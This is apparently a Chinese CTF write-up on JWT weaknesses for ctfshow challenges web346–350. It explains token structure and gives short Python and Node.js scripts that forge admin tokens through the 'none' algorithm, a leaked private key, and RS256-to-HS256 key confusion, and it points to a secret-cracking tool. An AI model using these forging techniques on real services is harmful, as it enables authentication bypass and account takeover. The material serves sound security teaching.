本文最后更新于:2023年9月1日 上午
[TOC]
jwt安全问题 jwt简介 JWT的全称是Json Web Token
,遵循JSON格式 ,跨域认证解决方案,声明被存储在客户端 ,而不是在服务器内存中,服务器不保留任何用户信息,只保留密钥信息,通过使用特定加密算法验证token,通过token验证用户身份 ,基于token的身份验证可以替代传统的cookie+session身份验证方法。
jwt就是可以用来验证身份的东西
jwt组成 格式为:
1 header .payload .signature
heade部分最常见的两个字段是alg和type,alg指定了token加密使用的算法(最常用的HMAC和RSA算法)。type类型为JWT。
1 2 3 4 { "typ" : "JWT" , "alg" : "HS256" }
payload payload则为用户数据,如一次登录的过程可能会传递一下数据
1 2 3 4 5 6 7 8 9 { "user_role" : "finn" , "iss" : "admin" , "iat" : 1573440582 , "exp" : 1573940267 , "nbf" : 1573440582 , "domain" : "example.com" , "jti" : "dff4214121e83057655e10bd9751d657" }
signature 这一部分的功能是保护token完整性,生成方式是将header和payload两个部分链接,然后通过Header部分指定的算法,计算签名。计算公式如下:
1 signature = HMAC-SHA256(base64urlEncode (header ) + '.' + base64urlEncode(payload ) , secret_key)
header和payload部分的编码方式为base64urlencode,base64url编码是不会再末尾填充”=”号,并且将”+”替换成”-“、”/“替换成”_”
潜在漏洞 ● 签名未校验
● 算法被篡改
● 敏感信息泄露
● 加密算法不安全
● 伪造密钥(CVE-2018-0114)
空加密算法 JWT支持空加密算法,可以在header中指定alg为None
,这样的话,只要把signature设置为空,即不添加singature字段,提交到服务器,任何token都可以通过服务器的验证
1 格式:header +"." +payload+"."
空加密算法本身是为了调试方便,在生产环境中开启空加密模式 ,缺少签名保护,攻击者只要把alg字段设置成none,就可以在payload中构造身份,伪造用户身份。
web346 jwt
1 eyJhbGciOiJIUzI1 NiIsInR5 cCI6 IkpXVCJ9 .eyJpc3 MiOiJhZG1 pbiIsImlhdCI6 MTY5 MzI5 NzA2 MCwiZXhwIjoxNjkzMzA0 MjYwLCJuYmYiOjE2 OTMyOTcwNjAsInN1 YiI6 InVzZXIiLCJqdGkiOiIxZWNlMTU0 MmRhNWYxNWE1 ZDVhZjA5 MTFhYjMzOGZiNCJ9 .oNpq8 ct6 U2 x6 bVlBdg7 MtjhtlBuF6 KXveFNxFnwBdNE
解密看看:
我们需要将其改为admin
但是这里存在空加密算法,我们直接把算法换为none
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import jwt token_dict = { "iss" : "admin" , "iat" : 1610432484 , "exp" : 1610439684 , "nbf" : 1610432484 , "sub" : "admin" , "jti" : "efec0205f601a537847ee2dd3ffa81ff" } headers = { "alg" : "none" , "typ" : "JWT" } jwt_token = jwt.encode(token_dict, key='' , headers=headers, algorithm="None" , )print (jwt_token)
密钥爆破 对 JWT 的密钥爆破需要在一定的前提下进行:
知悉JWT使用的加密算法
一段有效的、已签名的token
签名用的密钥不复杂(弱密钥)
web348 1 eyJhbGciOiJIUzI1 NiIsInR5 cCI6 IkpXVCJ9 .eyJpc3 MiOiJhZG1 pbiIsImlhdCI6 MTY5 MzI5 MTMyMSwiZXhwIjoxNjkzMjk4 NTIxLCJuYmYiOjE2 OTMyOTEzMjEsInN1 YiI6 InVzZXIiLCJqdGkiOiIxOWJhNDAxOTNjYTRjZTIzNGI1 MzIxZDQ4 OTgwNzA3 MSJ9. ijdyfitTWJEbrOXhQPl5 pQkwh--II1 jFoV0 OY2 w7 VGo
借助c-jwt-cracker项目:https://github.com/brendan-rius/c-jwt-cracker
敏感信息泄露 web349 私钥泄露了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 router.get ('/' , function (req, res, next ) { res.type ('html' ); var privateKey = fs.readFileSync (process.cwd ()+'//public//private.key' ); var token = jwt.sign ({ user : 'user' }, privateKey, { algorithm : 'RS256' }); res.cookie ('auth' ,token); res.end ('where is flag?' ); }); router.post ('/' ,function (req,res,next ){ var flag="flag_here" ; res.type ('html' ); var auth = req.cookies .auth ; var cert = fs.readFileSync (process.cwd ()+'//public/public.key' ); jwt.verify (auth, cert, function (err, decoded ) { if (decoded.user ==='admin' ){ res.end (flag); }else { res.end ('you are not admin' ); } }); });
访问/private.key
可以获得私钥,所以我们可以根据私钥,生成一个新的jwt token
1 2 3 4 5 6 import jwt private = open ('private.key' , 'r' ).read() payload = {"user" : "admin" }print (jwt.encode(payload, key=private, algorithm='RS256' ))
修改算法RS256为HS256 (非对称密码–>对称密码)
JWT中最常用的两种算法为HMAC
和RSA
HMAC(HS256):是一种对称加密算法,使用秘密密钥对每条消息进行签名和验证 RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文。
在这两种算法中都是使用私钥对signature
字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。
如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥 ,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到 ,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。更改算法为HS256,即不存在公钥私钥问题,因为HMAC对称密码算法只有一个key
web350 这里公钥泄露了,我们直接修改加密算法为HS256
,此时服务端会使用公钥进行校验
1 2 3 4 5 6 import jwt public = open ('public.key' , 'r' ).read() payload = {"user" : "admin" }print (jwt.encode(payload, key=public, algorithm='HS256' ))
或者使用nodejs:
1 2 3 4 5 const jwt = require ('jsonwebtoken' );var fs = require ('fs' );var privateKey = fs.readFileSync ('public.key' );var token = jwt.sign ({ user : 'admin' }, privateKey, { algorithm : 'HS256' });console .log (token)